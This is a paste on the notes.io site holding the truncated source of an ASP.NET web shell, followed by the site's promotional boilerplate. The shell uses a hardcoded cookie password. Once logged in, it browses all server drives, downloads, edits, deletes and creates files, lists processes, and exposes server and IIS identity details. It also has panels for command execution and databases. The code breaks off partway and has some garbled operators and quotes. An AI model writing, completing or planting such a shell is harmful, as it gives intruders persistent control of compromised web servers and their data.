NotesWhat is notes.io?

Notes brand slogan

Notes - notes.io

<%@ Page Language="C#" trace="false" EnableViewStateMac="false" validateRequest="false" enableEventValidation="false" %>
<%@ import Namespace="System.Collections.Generic"%>
<%@ import Namespace="System.Web.Services"%>
<%@ import Namespace="System.Web"%>
<%@ import Namespace="System.IO"%>
<%@ import Namespace="System"%>
<%@ import Namespace="System.Net" %>
<%@ import Namespace="System.Diagnostics"%>
<%@ Import Namespace="System.Data.SqlClient"%>
<%@ import Namespace="Microsoft.Win32"%>
<%@ import Namespace="System.Management"%>
<%@ Assembly Name="System.Management,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%>
<!DOCTYPE html>
<style type="text/css">
body {
background: #f0f0f0;
margin: 0;
padding: 0;
font: 12px normal Verdana, Arial, Helvetica, sans-serif;
color: #444;
width:1000px;
}
h1 {font-size: 3em; margin: 20px 0;}
.container {width: 90%; margin: 10px auto;}
ul.tabs {
margin: 0;
padding: 0;
float: left;
list-style: none;
height: 32px;
border-bottom: 1px solid #999;
border-left: 1px solid #999;
width: 100%;
}
ul.tabs li {
float: left;
margin: 0;
padding: 0;
height: 31px;
line-height: 31px;
border: 1px solid #999;
border-left: none;
margin-bottom: -1px;
background: #e0e0e0;
overflow: hidden;
position: relative;
}
ul.tabs li a {
text-decoration: none;
color: #000;
display: block;
font-size: 1.2em;
padding: 0 20px;
border: 1px solid #fff;
outline: none;
}
ul.tabs li a:hover {
background: #ccc;
}
html ul.tabs li.active, html ul.tabs li.active a:hover {
background: #fff;
border-bottom: 1px solid #fff;
}
.tab_container {
border: 1px solid #999;
border-top: none;
clear: both;
float: left;
width: 100%;
background: #fff;
-moz-border-radius-bottomright: 5px;
-khtml-border-radius-bottomright: 5px;
-webkit-border-bottom-right-radius: 5px;
-moz-border-radius-bottomleft: 5px;
-khtml-border-radius-bottomleft: 5px;
-webkit-border-bottom-left-radius: 5px;
}
.tab_content {
padding: 20px;
font-size: 1.2em;
}
.tab_content h2 {
font-weight: normal;
padding-bottom: 10px;
border-bottom: 1px dashed #ddd;
font-size: 1.8em;
}
.tab_content h3 a{
color: #254588;
}
.tab_content img {
float: left;
margin: 0 20px 20px 0;
border: 1px solid #ddd;
padding: 5px;
}
</style>
<style type="text/css">
iframe.hidden
{
display:none
}
td
{
padding: 2px;
background: #e8edff;
border-top: 1px solid #fff;
color: #669;

}
tr:hover td{
background-color:#7DFDFE;



}
th
{
padding: 2px;
color: #039;
background: #b9c9fe;
}


table
{
height: 100%;
width: 100%;
}
#content
{
z-index: 1;
left: 20px;
top: 39px;
position: absolute;
height: 155px;
width: 1214px;
}
#upload
{
width: 527px;
height: 52px;
background-color: #CCCCCC;
}
#TextArea1
{
height: 278px;
width: 380px;
}
.buttons
{
height:30px;
cursor:pointer;
}
</style>



<script runat="server">
/// <problems>
/// - javascript registered code
/// - driver dropdownlist problem
/// </problem>
///

/// <TO DO>
/// - create new file ,dir.
/// - copy /cut file ,dir
/// </TO DO>
///

public static string curr = "xxx";
string connstr;
string password="opu500";
public class data
{
public data(string n, string s, string fp, string lm)
{
Name = n; Size = s; FullPath = fp;lastmodfiy=lm;
}
public string Name;
public string FullPath;
public string Size;
public string lastmodfiy;
}
public static void RegisterJavaScript(System.Web.UI.Page page)
{

page.ClientScript.RegisterHiddenField("__EVENTTARGET","");
page.ClientScript.RegisterHiddenField("__ARGS","");
string s=@"<script language=Javascript>";
s+=@"function Bin_PostBack(eventTarget,eventArgument)";
s+=@"{";
s+=@"var theform=document.forms[0];";
s+=@"theform.__EVENTTARGET.value=eventTarget;";
s+=@"theform.__ARGS.value=eventArgument;";
s+=@"theform.submit();";
s+=@"} ";
s+=@"</scr"+"ipt>";
page.RegisterStartupScript("asd",s);

}



protected void Page_Load(object sender, EventArgs e)
{
Page.Title = " ";
RegisterJavaScript(this);
hide_allpanel();
if (DriversList.Items.Count == 0)
{
DriveInfo[] drives = DriveInfo.GetDrives();
DriversList.Items.Clear();
DriversList.Items.Add("Select Drive");
foreach (DriveInfo dinfo in drives)
{

DriversList.Items.Add(new ListItem(dinfo.Name + " " + dinfo.DriveType, dinfo.Name)); //);
}
}
//////////////////////////

////////////////////////////////
if (check_auth())
{

this.Menue.Visible = true;
Logout.Visible = true;


}
else
{
return;

}
msgs.Text = "";

if (Request.QueryString["Name"] != null || Request.QueryString["Name"] != "")
{
string temp = Request.QueryString["Name"];
if(temp != null)
download(base64Decode(temp));

}


if (!IsPostBack)
{



GetFiles_Dirs(".", true);
// string[] drivers = Directory.GetLogicalDrives();



/////////////////


}
if (IsPostBack)
{

string evarg = Request["__EVENTTARGET"];
string args = Request["__ARGS"];

// Page.Title = evarg;
if (evarg != "")
{
switch (evarg)
{

case "down":
download(base64Decode(args));
break;
case "GetFiles_Dirs":
GetFiles_Dirs(base64Decode(args), false);
break;
case "shell_root":
GetFiles_Dirs(base64Decode(args), true);
break;
case "del":
delete_file(base64Decode(args));
break;
case "del2":
delete_folder(base64Decode(args));
break;
case "delall":
deleteall(args);
break;
case "ren":
rename_file(args);
break;
case "ren2":
rename_folder(args);
break;
case "edit":
editing(base64Decode(args));
break;

case "newdir":
create_new_dir((args));
break;
case "newfile":
create_new_file((args));
break;

}


}
}

//if(IsPostBack)


}
public bool check_auth()
{
if (Request.Cookies["Login_Cookie"] == null)
{
return false;
}
else
{
if (Request.Cookies["Login_Cookie"].Value != password)
{
return false;
}
else
{

return true;
}
}
}
public void hide_allpanel()
{
this.Login.Visible = true;
object[] divs = { this.FileManger, this.CMD, this.DBS ,this.editpanel,this.UserInfo,this.Processes_Services,this.CopyFiles};
foreach (object s in divs)
{
Panel p2 = new Panel();
p2 = (Panel)s;
p2.Visible = false;
}
}

void process()
{
Table tbl = new Table();

// tbl.Style = @"width:100%";
tbl.Width = 870;
this.Processes_Services.Controls.Add(tbl);
int tblRows = 10;
int tblCols = 3;
TableHeaderRow header_tr = new TableHeaderRow();
TableHeaderCell proc_id = new TableHeaderCell();
TableHeaderCell proc_user = new TableHeaderCell();
TableHeaderCell proc_name = new TableHeaderCell();
proc_id.Text = "ID";
proc_name.Text = "Process Name";
proc_user.Text = "User";
header_tr.Cells.Add(proc_id);
header_tr.Cells.Add(proc_name);
header_tr.Cells.Add(proc_user);
tbl.Rows.Add(header_tr);
Process[] p = Process.GetProcesses();
foreach (Process sp in p)
{
TableRow data_tr = new TableRow();
TableCell proc_id_tc = new TableCell();
proc_id_tc.Text = sp.Id.ToString();
TableCell proc_name_tc = new TableCell();
proc_name_tc.Text = sp.ProcessName;
TableCell proc_user_tc = new TableCell();
// proc_user_tc.Text = GetProcessOwner(sp.Id.ToString());// GetUserName(sp.Id);//
data_tr.Cells.Add(proc_id_tc);
data_tr.Cells.Add(proc_name_tc);
data_tr.Cells.Add(proc_user_tc);
tbl.Rows.Add(data_tr);

}
message(true, "list process");
}

string get_user_process(int i)
{
using (ManagementObject proc = new

ManagementObject("Win32_Process.Handle='" + i.ToString() + "'"))
{

// proc.Get();
string[] s = new String[2];
//Invoke the method and populate the array with the user name and domain

proc.InvokeMethod("GetOwner", (object[])s);

return s[1] + "\" + s[0];
}


}
private string GetUserName(int procName)
{
string[] ownerInfo = new string[2];
foreach (ManagementObject p in PhQTd("Select * from Win32_Process Where ProcessID ='" + procName + "'"))
{
p.InvokeMethod("GetOwner", (object[])ownerInfo);
}
return ownerInfo[0];


}

public string GetProcessOwner(string processName)
{
string query = "Select * from Win32_Process Where ProcessID = "" + processName + """;
ManagementObjectSearcher searcher = new ManagementObjectSearcher(query);
ManagementObjectCollection processList = searcher.Get();

foreach (ManagementObject obj in processList)
{
string[] argList = new string[] { string.Empty, string.Empty };
int returnVal = Convert.ToInt32(obj.InvokeMethod("GetOwner", argList));
if (returnVal == 0)
{
// return DOMAINuser
string owner = argList[1] + "\" + argList[0];
return owner;
}
}

return "NO OWNER";
}


public ManagementObjectCollection PhQTd(string query)
{
ManagementObjectSearcher QS=new ManagementObjectSearcher(new SelectQuery(query));
return QS.Get();
}
void u_info()
{
Table tbl = new Table();

// tbl.Style = @"width:100%";
tbl.Width = 870;
this.UserInfo.Controls.Add(tbl);
Add_Table_Row(tbl, "Server IP", Request.ServerVariables["LOCAL_ADDR"]);
Add_Table_Row(tbl, "Host Name", Dns.GetHostName() );//Environment.MachineName);
Add_Table_Row(tbl, "IIS Version", Request.ServerVariables["SERVER_SOFTWARE"]);
Add_Table_Row(tbl, "IIS APPPOOL Identity", Environment.UserName);
Add_Table_Row(tbl, "OS Version", Environment.OSVersion.ToString());
Add_Table_Row(tbl, "System Time", DateTime.Now.ToString());



message(true, "");
}

void Add_Table_Row(Table tbl, string s1, string s2)
{
TableRow data_tr = new TableRow();
TableCell cell1 = new TableCell();
cell1.Text = s1;
TableCell cell2 = new TableCell();
cell2.Text = s2;
data_tr.Cells.Add(cell1);
data_tr.Cells.Add(cell2);
tbl.Rows.Add(data_tr);
}
// ////////////////////////////////////////////
public void process_design(object sender, EventArgs e)
{
Button b = sender as Button;
// b.BackColor = System.Drawing.Color.Red;
//LinkButton b = sender as LinkButton;
show_panel(b.Text);
if (b.Text == "Processes_Services")
process();
if (b.Text == "UserInfo")
u_info();

}
// /////////////////////////////////////
public void fm(object sender, EventArgs e)
{
this.FileManger.Visible = true;
GetFiles_Dirs(".", true);
}

public void show_panel(string ctrl)
{
this.Login.Visible = false;
object[] divs = { this.FileManger, this.CMD, this.DBS,this.editpanel ,this.UserInfo, this.Processes_Services,this.CopyFiles};
foreach (object s in divs)
{
Panel p2 = new Panel();
p2 = (Panel)s;
if (p2.ID==ctrl)
p2.Visible = true;
// if(p2.ID=="FileManger")
// GetFiles_Dirs(".", true);
}
}





public string base64Encode(string data)
{
try
{
byte[] encData_byte = new byte[data.Length];
encData_byte = System.Text.Encoding.UTF8.GetBytes(data);
string encodedData = Convert.ToBase64String(encData_byte);
return encodedData;
}
catch (Exception e)
{
throw new Exception("Error in base64Encode" + e.Message);
}
}

public string base64Decode(string data)
{
try
{
System.Text.UTF8Encoding encoder = new System.Text.UTF8Encoding();
System.Text.Decoder utf8Decode = encoder.GetDecoder();

byte[] todecode_byte = Convert.FromBase64String(data);
int charCount = utf8Decode.GetCharCount(todecode_byte, 0, todecode_byte.Length);
char[] decoded_char = new char[charCount];
utf8Decode.GetChars(todecode_byte, 0, todecode_byte.Length, decoded_char, 0);
string result = new String(decoded_char);
return result;
}
catch (Exception e)
{
throw new Exception("Error in base64Decode" + e.Message);
}
}

public void message(bool status, string msg)
{
if (status == true)
{
msgs.ForeColor = System.Drawing.Color.Green;
msgs.Text = "Sucess, " + msg;
}
else
{
msgs.ForeColor = System.Drawing.Color.Red;
msgs.Text = "Error, " + msg;
}
}

string count_files_dirs(string p)
{
int fc = 0; int dc = 0;
string[] files = Directory.GetFiles(p);
string[] dirs = Directory.GetDirectories(p);
foreach (string f in files)
{
fc += 1;
}
foreach (string f in dirs)
{
dc += 1;
}
return dc+" dirs, "+fc+" files";
}
public void GetFiles_Dirs(string path ,bool isvirtual)
{
try
{

show_panel(this.FileManger.ID);
editpanel.Visible = false;
curr = path;

ArrayList arraydata = new ArrayList();

string currentpath = "";
if (isvirtual)
{
currentpath = HttpContext.Current.Server.MapPath(path);
}
else
currentpath = path;
currentpathlabel.Text = currentpath;
Hidden1.Value = currentpath;


string[] files = Directory.GetFiles(currentpath);
string[] dirs = Directory.GetDirectories(currentpath);
string previospath = "";
string[] ppath = currentpath.Split('\');
for (int n = 1; n <= ppath.Length - 1; n++)
{

if (ppath.Length - 1 == 1)
{
previospath += ppath[n - 1] + "\";


}
else if (n == ppath.Length - 1)
{
previospath += ppath[n - 1];


}
else
{
previospath += ppath[n - 1] + "\";

}


}
string prevtemp = "";
// Literal1.Text = previospath;
for (int n = 0; n < ppath.Length; n++)
{

if (n == 0)
{

//<%= base64Encode(ppath[n] + "\")%>
string dec = base64Encode(ppath[n] + "\");
Literal1.Text = "<a href="javascript:Bin_PostBack('GetFiles_Dirs','" + dec + "')">" + ppath[n] + "\" + "</a>";
prevtemp = ppath[n];

}
else
{
string dec1 = base64Encode(prevtemp + "\" + ppath[n]);

Literal1.Text += "<a href="javascript:Bin_PostBack('GetFiles_Dirs','" + dec1 + "')">" + ppath[n] + "\" + "</a>";
prevtemp = prevtemp + "\" + ppath[n];

}



}
arraydata.Add(new data(".. " , "Parent Folder", previospath, currentpath));


// object o = new object { Name = "..", Size = "..", FullPath = previospath.Replace(@"", @"\"), DataSource = currentpath };
//fileslist.Add(new { Name = "..", Size = "..", FullPath = previospath.Replace(@"", @"\"), DataSource = currentpath });
int dirs_count = 0;
int files_count = 0;

foreach (string d in dirs)
{
DirectoryInfo dinfo = new DirectoryInfo(d);
HyperLink g = new HyperLink();
g.Text = dinfo.Name;
// fileslist.Add(new { Name = dinfo.Name, Size = "Folder", FullPath = dinfo.FullName.Replace(@"", @"\"), DataSource = currentpath });
arraydata.Add(new data(dinfo.Name, "Folder", dinfo.FullName, dinfo.LastWriteTime.ToString("d/MM/yyyy - hh:mm:ss tt")));
dirs_count+=1;

}
foreach (string f in files)
{
FileInfo finfo = new FileInfo(f);


arraydata.Add(new data(finfo.Name, finfo.Length.ToString(), finfo.FullName.Replace(@"", @"\"), finfo.LastWriteTime.ToString("d/MM/yyyy - hh:mm:ss tt")));
files_count += 1;
}



foreach (object o in arraydata)
{
data d = (data)o;

HtmlTableRow r = new HtmlTableRow();
HtmlTableCell cname = new HtmlTableCell();
HtmlTableCell csize = new HtmlTableCell();
HtmlTableCell lastmodify = new HtmlTableCell();
HtmlTableCell ctodo = new HtmlTableCell();
if (d.Size == "Parent Folder")

cname.InnerHtml = "<a href="javascript:Bin_PostBack('GetFiles_Dirs','" + base64Encode(d.FullPath) + "')">" + d.Name + "</a>" + "&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp " + files_count + "&nbspFiles ," + dirs_count + "&nbspFolders";

else if (d.Size == "Folder")
{
cname.InnerHtml = "<a href="javascript:Bin_PostBack('GetFiles_Dirs','" + base64Encode(d.FullPath) + "')">" + d.Name + "</a>";
csize.InnerHtml = "--";
lastmodify.InnerHtml = d.lastmodfiy;
ctodo.InnerHtml ="<a href="#" onclick="javascript:rename2('" + d.Name + "')">Rename</a>" + " || " +
"<a href="#" onclick="javascript:if(confirm('Are you sure delete folder " + d.Name+ " it may be non-empty ,all files & dirs will be deleted ?')){Bin_PostBack('del2','" + base64Encode(d.FullPath) + "')}">Del</a>";
}
else
{
//"<a href="javascript:Bin_PostBack('Bin_Listdir','"+MVVJ(objfile.DirectoryName)+"')">"+objfile.FullName+"</a>";
cname.InnerHtml = "<input id="Checkbox1" name="" + base64Encode(d.FullPath) + "" type="checkbox" />" + d.Name;
csize.InnerHtml = convert_bytes(Convert.ToInt64(d.Size));
lastmodify.InnerHtml = d.lastmodfiy;
ctodo.InnerHtml = "<a href= "#" onclick="javascript:Bin_PostBack('down','" + base64Encode(d.FullPath) + "')">Down</a>" + " || " +
"<a href="#" onclick="javascript:Bin_PostBack('edit','" + base64Encode(d.FullPath) + "')">Edit</a>" + " || " +
"<a href="#" onclick="javascript:rename('" + d.Name + "')">Rename</a>" + "|" +
"<a href="#" onclick="javascript:Bin_PostBack('copymove','" + base64Encode(d.FullPath) + "')">Copy/Move</a>" + " || " +
"<a href="#" onclick="javascript:if(confirm('Are you sure delete the file "+ d.Name+" ?')){Bin_PostBack('del','" + base64Encode(d.FullPath) + "')}">Del</a>";
}
r.Cells.Add(cname);
r.Cells.Add(csize);
r.Cells.Add(lastmodify);
r.Cells.Add(ctodo);
tblEmployee.Rows.Add(r);


}
}
catch (Exception ex)
{
message(false, ex.Message);
}
}

string convert_bytes(Int64 bytes)
{

if ((bytes / 1024) < 1)
return bytes + " B";

else if ((bytes / (1024 * 1024)) < 1)
return string.Format("{0:####0.0} KB",(double) bytes / 1024 );

else if ((bytes / (1024 1024 1024)) < 1)
return string.Format("{0:####0.0} MB", (double)bytes / (1024 * 1024));

else
return string.Format("{0:####0.0} GB", (double) bytes / (1024 1024 1024));



}
// //////////////////////////////

void create_new_dir(string dir)
{
try
{
string path = currentpathlabel.Text + "\";
Directory.CreateDirectory(path + dir);
message(true, "Folder:" + " '" + dir + "' " + "Created");
}
catch (Exception ex)
{
message(false, ex.Message);
}

GetFiles_Dirs(currentpathlabel.Text, false);
}

void create_new_file(string file)
{
try
{
string path = currentpathlabel.Text + "\";
if (File.Exists(path + file))
{
message(false, "File" + " '" + file + "' " + "exist,you can edit it");
GetFiles_Dirs(currentpathlabel.Text, false);
}
else
{

StreamWriter sr = new StreamWriter(path + file, false);
sr.Close();
message(true, "New File" + " '" + file + "' " + "Created");
editing(path + file);
}
}
catch (Exception ex)
{
message(false, ex.Message);
}

// GetFiles_Dirs(currentpathlabel.Text, false);
}
// //////// Edit File//////////////////
public void editing(string file)
{
try
{
show_panel("editpanel");


filetoedit.Text = file;
if (File.Exists(file))
{
StreamReader sr;

sr = new StreamReader(file);

editfile.Text = sr.ReadToEnd();
sr.Close();
}
}
catch (Exception ex)
{
message(false, ex.Message);
}

}
protected void Save_Click(object sender, EventArgs e)
{
try
{

StreamWriter sw;
string file = filetoedit.Text;
sw = new StreamWriter(file, false);

sw.Write(editfile.Text);
sw.Close();
message(true, "File:" + " '" + file + "' " + "Saved");


}
catch (Exception ex)
{
message(false, ex.Message);
}
GetFiles_Dirs(currentpathlabel.Text, false);
}
// /////////////////////////////////

// ///////////upload///////////////////
protected void Upload_Click(object sender, EventArgs e)
{
     
 
what is notes.io
 

Notes.io is a web-based application for taking notes. You can take your notes and share with others people. If you like taking long notes, notes.io is designed for you. To date, over 8,000,000,000 notes created and continuing...

With notes.io;

  • * You can take a note from anywhere and any device with internet connection.
  • * You can share the notes in social platforms (YouTube, Facebook, Twitter, instagram etc.).
  • * You can quickly share your contents without website, blog and e-mail.
  • * You don't need to create any Account to share a note. As you wish you can use quick, easy and best shortened notes with sms, websites, e-mail, or messaging services (WhatsApp, iMessage, Telegram, Signal).
  • * Notes.io has fabulous infrastructure design for a short link and allows you to share the note as an easy and understandable link.

Fast: Notes.io is built for speed and performance. You can take a notes quickly and browse your archive.

Easy: Notes.io doesn’t require installation. Just write and share note!

Short: Notes.io’s url just 8 character. You’ll get shorten link of your note when you want to share. (Ex: notes.io/q )

Free: Notes.io works for 12 years and has been free since the day it was started.


You immediately create your first note and start sharing with the ones you wish. If you want to contact us, you can use the following communication channels;


Email: [email protected]

Twitter: http://twitter.com/notesio

Instagram: http://instagram.com/notes.io

Facebook: http://facebook.com/notesio



Regards;
Notes.io Team

     
 
Shortened Note Link
 
 
Looding Image
 
     
 
Long File
 
 

For written notes was greater than 18KB Unable to shorten.

To be smaller than 18KB, please organize your notes, or sign in.